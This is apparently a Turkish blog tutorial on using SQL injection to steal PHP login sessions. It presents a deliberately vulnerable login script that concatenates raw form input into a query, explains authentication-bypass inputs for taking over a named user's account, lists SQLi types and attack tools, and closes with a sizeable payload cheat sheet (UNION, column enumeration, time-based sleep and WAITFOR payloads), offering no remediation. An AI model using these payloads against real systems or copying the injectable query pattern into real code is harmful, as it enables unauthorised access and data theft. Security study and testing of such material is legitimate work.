SQL Injection ile Oturum Çalmak

Sql sorgulama dilini server side (sunucu tarafında) veritabanı bağlantısı kurduğumuzda verilerleri yönetebilmek için kullanırız. Bu yazımızda PHP tarafında oturum bilgilerini nasıl çalacağımızdan bahsedeceğiz.

Temel bir web sitesi hazırladık ve kullanıcının email adresini ve şifresini yazarak erişebildiği bir panel olduğunu kabul edelim.

Örnek bir kod bloğu şu şekilde olurdu.

ornek adlı veritabanımıza bağlantımızı tanımladık.

Php ile pdo kullanımını bu yazımızdan okuyabilirsiniz:

<?php
// oturum bilgilerini tanımla
session_start();


$email = $_POST['email'];
$pass = $_POST['password'];

$query = $db->query("SELECT * FROM uyeler WHERE email = '$email' and password = '$pass' ");

if($query->rowCount()):
   $data = $query->fetch(PDO::FETCH_OBJ);
   $_SESSION['oturum'] = true;
   $_SESSION['uye'] = $data;
   //ve oturum  bilgilerimizi kaydettik
   header('location: profil.php');
else:
   print 'kullanıcı adı veya şifre hatalı'
endif;

?>

Saldırgan bu durumda sorguya müdahale edebilir.

kullanıcı adı : [ mailadresi ]
Şifre : [ ********* ]

şifre alanına ” or 1 = 1 ifadesini eklediğinde sorgumuz tablodaki ilk elemanın bilgilerini getirecektir. Kullanıcı adını bildiği bir oturuma sahip olmak isteyseydi ” or username = ‘kullanici_adi’ ifadesiyle oturumunu başlatabilir verilerini çalabilirdi.

SQL Injection Yöntemleri

SQL Injection TipiAçıklaması
In-band SQLi (Classic SQLi)Bant İçi SQL Enjeksiyonu, SQL Enjeksiyon saldırılarının en yaygın ve kullanımı kolay olanıdır. Bant İçi SQL Enjeksiyonu, bir saldırgan hem saldırıyı başlatmak hem de sonuçları toplamak için aynı iletişim kanalını kullanabildiğinde gerçekleşir. En yaygın iki bant içi SQL Enjeksiyonu türü, Hata tabanlı SQLi ve Birlik tabanlı SQLi’dir.
Error-based SQLiError-based SQLi veritabanının yapısı hakkında bilgi elde etmek için veritabanı sunucusu tarafından atılan hata mesajlarına dayanan bir bant içi SQL Enjeksiyon tekniğidir. Bazı durumlarda, bir saldırganın tüm veritabanını numaralandırması için yalnızca hata tabanlı SQL enjeksiyonu yeterlidir.
Union-based SQLiUnion-based SQLi iki veya daha fazla SELECT ifadesinin sonuçlarını daha sonra HTTP yanıtının bir parçası olarak döndürülen tek bir sonuç halinde birleştirmek için UNION SQL operatöründen yararlanan bir bant içi SQL enjeksiyon tekniğidir.
Inferential SQLi (Blind SQLi)Inferential SQL Injection, Bant içi SQLi’den farklı olarak, bir saldırganın istismar etmesi daha uzun sürebilir, ancak diğer herhangi bir SQL Enjeksiyon biçimi kadar tehlikelidir. Çıkarımsal bir SQLi saldırısında, aslında web uygulaması aracılığıyla hiçbir veri aktarılmaz ve saldırgan, bant içi bir saldırının sonucunu göremez (bu nedenle bu tür saldırılara genellikle “kör SQL Enjeksiyon saldırıları” denir) . Bunun yerine saldırgan, veri yükleri göndererek, web uygulamasının yanıtını ve veri tabanı sunucusunun ortaya çıkan davranışını gözlemleyerek veri tabanı yapısını yeniden oluşturabilir. İki tür çıkarımsal SQL Enjeksiyonu, Blind-boolean tabanlı SQLi ve Blind-time tabanlı SQLi’dir.
Topluluk Tarafından Doğrulandı simgesi
Boolean-based (content-based) Blind SQLiBoolean-based SQL Injection Bant içi SQLi’den farklı olarak, bir saldırganın istismar etmesi daha uzun sürebilir, ancak diğer herhangi bir SQL Enjeksiyon biçimi kadar tehlikelidir. Çıkarımsal bir SQLi saldırısında, aslında web uygulaması aracılığıyla hiçbir veri aktarılmaz ve saldırgan, bant içi bir saldırının sonucunu göremez (bu nedenle bu tür saldırılara genellikle “kör SQL Enjeksiyon saldırıları” denir) . Bunun yerine saldırgan, veri yükleri göndererek, web uygulamasının yanıtını ve veri tabanı sunucusunun ortaya çıkan davranışını gözlemleyerek veri tabanı yapısını yeniden oluşturabilir. İki tür çıkarımsal SQL Enjeksiyonu, Blind-boolean tabanlı SQLi ve Blind-time tabanlı SQLi’dir.
Topluluk Tarafından Doğrulandı simgesi
Time-based Blind SQLiTime-based SQL Injection veritabanına yanıt vermeden önce belirli bir süre (saniye cinsinden) beklemeye zorlayan bir SQL sorgusu göndermeye dayanan çıkarımsal bir SQL Enjeksiyon tekniğidir. Yanıt süresi, sorgu sonucunun DOĞRU veya YANLIŞ olup olmadığını saldırgana gösterecektir. Sonuca bağlı olarak, bir HTTP yanıtı gecikmeli olarak veya hemen döndürülür. Bu, bir saldırganın, veritabanından hiçbir veri döndürülmese bile, kullanılan yükün doğru mu yoksa yanlış mı döndürüldüğünü çıkarmasına olanak tanır.
Out-of-band SQLiOut-of-band SQL Injection çok yaygın değildir, çünkü çoğunlukla web uygulaması tarafından kullanılan veritabanı sunucusunda etkinleştirilen özelliklere bağlıdır. Bant Dışı SQL Enjeksiyonu, bir saldırgan, saldırıyı başlatmak ve sonuçları toplamak için aynı kanalı kullanamadığında meydana gelir. Bant dışı teknikler, özellikle sunucu yanıtları çok kararlı değilse (çıkarımsal zamana dayalı bir saldırıyı güvenilmez kılıyorsa), bir saldırgana çıkarımsal zamana dayalı tekniklere bir alternatif sunar.Topluluk Tarafından Doğrulandı simgesi
Voice Based Sql InjectionVeritabanlarına sesli komutla erişim sağlayan uygulamalarda uygulanabilen bir sql enjeksiyon saldırı yöntemidir. Saldırgan, sesli sql sorguları göndererek veritabanından bilgi çekebilir.


SQL Injection Güvenlik Açığı Tarayıcı Araçları

SQL Injection Vulnerability Scanner Tool’s :

  • SQLMap – Otomatik SQL Enjeksiyonu ve Veritabanı Devralma Aracı
  • jSQL Injection – Otomatik SQL Veritabanı Enjeksiyonu için Java Aracı
  • BBQSQL – Bir Kör SQL Enjeksiyon Sömürü Aracı
  • NoSQLMap – Otomatik NoSQL Veritabanı Pwnage
  • Whitewidow – SQL Vulnerability Scanner
  • DSSS – Damn Small SQLi Scanner
  • explo – İnsan ve Makine Tarafından Okunabilen Web Güvenlik Açığı Test Formatı
  • Blind-Sql-Bitshifting – Bitshifting ile Kör SQL Enjeksiyonu
  • Leviathan – Wide Range Mass Audit Toolkit
  • Blisqy – Exploit Time-based blind-SQL-injection in HTTP-Headers (MySQL/MariaDB)

SQL Injection Listesi

'
''
`
``
,
"
""
/
//
\
\\
;
' or "
-- or # 
' OR '1
' OR 1 -- -
" OR "" = "
" OR 1 = 1 -- -
' OR '' = '
'='
'LIKE'
'=0--+
 OR 1=1
' OR 'x'='x
' AND id IS NULL; --
'''''''''''''UNION SELECT '2
%00
/*…*/ 
+		addition, concatenate (or space in url)
||		(double pipe) concatenate
%		wildcard attribute indicator

@variable	local variable
@@variable	global variable


# Numeric
AND 1
AND 0
AND true
AND false
1-false
1-true
1*56
-2


1' ORDER BY 1--+
1' ORDER BY 2--+
1' ORDER BY 3--+

1' ORDER BY 1,2--+
1' ORDER BY 1,2,3--+

1' GROUP BY 1,2,--+
1' GROUP BY 1,2,3--+
' GROUP BY columnnames having 1=1 --


-1' UNION SELECT 1,2,3--+
' UNION SELECT sum(columnname ) from tablename --


-1 UNION SELECT 1 INTO @,@
-1 UNION SELECT 1 INTO @,@,@

1 AND (SELECT * FROM Users) = 1	

' AND MID(VERSION(),1,1) = '5';

' and 1 in (select min(name) from sysobjects where xtype = 'U' and name > '.') --


Finding the table name


Time-Based:
,(select * from (select(sleep(10)))a)
%2c(select%20*%20from%20(select(sleep(10)))a)
';WAITFOR DELAY '0:0:30'--

Comments:

#	    Hash comment
/*  	C-style comment
-- -	SQL comment
;%00	Nullbyte
`	    Backtick

Yorum yapın